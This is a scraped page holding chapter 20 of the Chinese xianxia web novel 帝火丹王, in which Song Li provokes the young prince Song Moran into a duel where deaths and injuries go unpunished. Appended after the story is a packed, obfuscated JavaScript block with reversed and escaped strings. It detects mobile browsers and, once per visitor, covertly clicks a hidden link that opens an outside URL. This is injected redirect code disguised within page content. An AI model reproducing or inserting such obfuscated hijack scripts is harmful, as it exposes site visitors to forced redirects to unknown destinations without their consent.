第五文学网 > 修真小说 > 帝火丹王 > 第20章 打赌

    我靠!225万金币啊,庞大激动地小心脏都要跳出来了,无论是谁,一下子见到这么多钱也很难保持镇定,何况庞大这个半大小子,虽然他脸色都兴奋地充血,但因为易容的缘故,皮肤黝黑,别人也看不出来。

    “嗯。”庞大表面上还能维持镇定,在他们准备好的验卡石上查探了一下金额,数字准确无误。

    拿到钱之后,庞大起身告辞,何老板又跟他说希望下次还能合作之类的话,庞大不置可否,嗯嗯哼哼应付了几句,就转身离开了。

    庞大刚出房门,何老板就对着他的背影驽了驽嘴,一个黑影从暗处“嗖”地一声窜了出去,悄悄地尾随在庞大身后。

    没过多久,这个黑影就垂头丧气地回来,向何老板汇报,说自己跟丢了人。何老板没说什么,愈发肯定火种来自一股神秘而强大的势力,他手下的“影子”,跟踪,潜伏,暗杀的能力绝对是一等一的,连他们都跟丢了人,自然不是凡夫俗子。

    其实庞大只是溜到一处茅厕,在里面将装扮卸了,衣服换掉,恢复他本来的容貌,就算他大摇大摆地从“影子”面前走过,影子也不会将这个满面稚气,神情惫懒的少年跟那个深沉神秘的大胡子联系在一起的。

    庞大顺利完成任务,怀揣着百万金币,幻想到酒池肉林,群芳环绕的牛逼生活,高兴地嘴都合不拢,哼着小曲就往曼德拉拍卖行大门口走,因为他知道宋立会在那里等他。

    隔着老远就看到拍卖行门口的广场上围着一大群人,个个满面兴奋之色,交头接耳议论纷纷,庞大眼尖,看到了人群中的宋立,他急忙跑过去,用尽浑身解数挤到了里面,只见宋立和宋漠然相向而立,像是两只斗鸡一样,连汗毛都竖起来了,随时都要掐起来的样子。侍卫们都站在外圈,给他们的主子助威涨势。

    庞大挤进来的时候,宋立眼角的余光扫到他了,转过去瞄了他一眼,庞大做了一个只有宋立能看懂的手势,宋立就知道,庞大已经完成任务了,他松了一口气,回头斜睨着宋漠然,见他撇着嘴,颇有些轻蔑地盯着自己,宋立心里暗笑,敌人越骄傲,他就越开心。

    两帮人马从拍卖行出来的时候,就在门前的广场上对上了,宋漠然可不是傻子,他竞拍的两件宝物,宋立这家伙都跳出来跟他捣蛋,说他不是故意的,傻子都不会信,为什么别人拍的宝物他不跟这竞价,宋漠然一叫价他就跟着加呢?而且这家伙非常阴狠,每次叫到的价格都差不多超过宋漠然的承受极限一点点,让他欲罢不能,最后两件宝物虽然拍到手,但据他估算,比正常的市价要高出至少五成,也就是说,因为宋立跳出来捣乱,宋漠然多花了一般的冤枉钱。

    虽然七王府财大气粗,但自己想花和被别人逼着花,这是两个概念好不好。

    宋漠然本来就不大看得起宋立,加之上次宋立当着他的面,将他座前的哼哈二将成正翔和小李维斯打残,两个人之间早已结仇,这一次又在拍卖会上跳出来捣乱,害他多花了一半的钱,宋漠然要是再忍,那也不是横行帝都的小王爷了。

    所以宋立刚出大门,就被他给拦住了,刚刚他在拍卖厅内被宋立阴了两次,所以就要在这个地方将这口气讨回来,宋漠然决定,既然他出手,就要将宋立彻底打残,上次他将成正翔和小李维斯打成什么样子,宋漠然就要把他打成什么样子。

    在宋漠然的认知里,宋立和他相差了四个层次。他是炼体十层巅峰,宋立只有炼体六层的水准,而且还是靠药力的作用,根基难免不稳。本来境界就低,根基还差,遇到宋漠然这种高他几层楼的天才,那还不被揍得满地打滚?

    宋漠然觉得,宋立什么时候变残,完全由他说了算,他什么时候出手,宋立就什么时候倒霉,而现在是时候了。

    “你现在是不是很得意?觉得你占了便宜?”宋漠然嘴角一撇,轻蔑一笑,说道:“但我保证,很快你就明白惹怒我的下场。”

    宋立轻摇折扇,嗤笑道:“哈哈哈,其实我并没有占便宜,只是看到你吃亏,我就会很开心,非常非常开心。”随即面色一沉,冷冷道:“宋漠然,别以为我不知道,上次那群杂碎围殴我的时候,就是你在背后指使,我现在不妨告诉你,我这个人,心眼向来很小,别人对我不好,我记得清清楚楚,谁挡我的路,我就打断谁的腿,谁打我的脸,我就毁他的容!”

    “不错,上次你浑身的骨头被打断,就是我让他们干的,因为我看你不顺眼,一个垃圾一样的废物,居然也学人家成立什么正义盟,打抱不平,我最看不惯不知天高地厚的废物了,在我眼里,废物就该有废物的觉悟,就应该像条死狗一般趴在自己的狗窝里,出来蹦会污人眼球的,这个道理难道你不明白吗?既然你不肯老老实实趴在家里,那我就让人打得你趴下,这样不是很好么?”宋漠然嘴角浮现一抹阴笑,他在想象,待会该用哪种最狠毒的招式,将这个废柴浑身骨头都打碎,让他再也站不起来。

    宋立已经想到宋漠然会亲口承认此事,他之所以这么爽快承认,是因为他觉得自己是占据绝对优势的一方,这是强者对弱者的心态,他妈的这事儿就是我干的,你奈我何?差不多就是这个意思。

    “既然你承认是你干的,那就好办了,”宋立满面堆笑,说道:“刚刚跟你说过,我这个人一向是睚眦必报,所以你今天要倒大霉了,待会我要打断你浑身的骨头,让你永远站不起来。”

    “哈哈哈哈,这个废物还真能吹嗨!”

    “要不是有个会炼丹的老娘,现在只怕已经像是鼻涕虫一样软趴趴的了!”

    “居然敢跟小王爷叫板,他不知道小王爷是帝都有名的修炼天才嘛!”

    “不自量力,螳臂妄想挡车!”

    “我押下全部的家当赌小王爷赢,谁敢跟我对赌?一赔十都行!”

    “神经病,傻子都知道小王爷会赢,谁会跟你赌啊!”

    “…………”

    宋立这句话一说,宋漠然身后的随从们顿时爆发出一阵哄笑,轻蔑之情溢于言表,他们宁愿相信母驴会上树,男人会不偷腥,也绝不会相信宋立能战胜宋漠然。

    “你也跟他们一样,相信你一定会赢我吗?”宋立笑吟吟地盯着宋漠然。

    “你感觉自己有机会赢我吗?”宋漠然倨傲地瞄了他一眼,对于宋立盲目的自信嗤之以鼻,一个靠吃丹药爆境界的垃圾,看来是以前当废物当久了,以为炼体六层就是什么了不起的高手,难道他不明白,四个层次是什么样的差距吗?简直就是天壤之别,他随便伸出一根小指头,就能够碾死宋立这只蝼蚁一样的东西。

    “我不是有机会赢你,而是一定会赢你,”宋立笑意更深了,“你有没有胆量跟我赌一把,如果我赢了你,你拍来的火种就归我,敢不敢?”

    “好,没问题,既然你喜欢做白日梦,我不介意配合你一下。不过既然我拿出了这么大的彩头,也有一个要求。既然是私人约斗,拳脚不长眼,所以待会谁死了伤了的,双方都不能追究。”宋漠然就像猫戏老鼠一样的心态,戏谑地望着面前这个废柴。他之所以提出这样的要求,就是动了杀机,即便他把宋立打死了,有这句话铺垫,圣皇也拿他没法子。至于他自己有没有可能受伤,不好意思,自信爆棚的小王爷压根没想过这个问题。

    宋立笑吟吟地向围观的众人喊道:“大家都听好了,我乃海郡王府的宋立,这位是靖王府的小王爷宋漠然,我们俩来一场公平的比试,死伤不论!如果我输了,紫心琉璃火就归我所有,请大家作个见证。”

    庞大立刻呆了一呆,他没想到宋漠然居然肯用“紫心琉璃火”做赌注,他之所以这么做肯定是觉得自己有必胜的把握。尤其是他不要宋立出任何赌注,只提出了“死伤不论”的要求,用心已经很明显了。大爷的,这个家伙想废掉老大啊。庞大望向宋漠然的目光中充斥着怒火。

    “我靠!不会吧,居然拿火种做赌注!玩笑开大了!”

    “你以为宋漠然傻啊,他既然肯拿出火种做彩头,肯定笃定自己能赢!”

    “可不是嘛,他都提出‘死伤不论’这种要求了,死伤的是谁?当然不可能是他自己啊!”

    “宋立这下危险了,宋漠然这是要发大招废了他啊!”

    “谁让他不自量力的,自己找死!”

    “………………”

    围观的众人七嘴八舌地议论,众人都不是傻子,很容易就猜到了宋默然所想,宋默然肯拿火种做赌注,就是要拿出足够巨大的诱惑。

    这还只是一方面,他现在拿出火种作为赌注,随后就算重创、废了、杀了宋立,以后说出来也是宋立自找的,想赢他的火种公平决斗下被重创的。

    好狠的心思、这已经不是阴谋了,这是阳谋啊,这是摆明了要废掉甚至杀掉宋立啊。

    周围人议论着,心中也都感觉到一阵寒意,以前纨绔争斗他们倒是见的多了,但一般都还有个限度,但这次显然不一样了,宋默然这是摆明要下死手啊!

    这下可闹大了,这场决斗后,恐怕帝都都要再掀波澜了。

    宋漠然压根没想到自己会输,如果他能预见到事情的结果,打死他也不会做这样的挫事。

    话说到这个份上,已经没有必要再浪费唇舌了,手底下见真章,才能最终解决问题。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))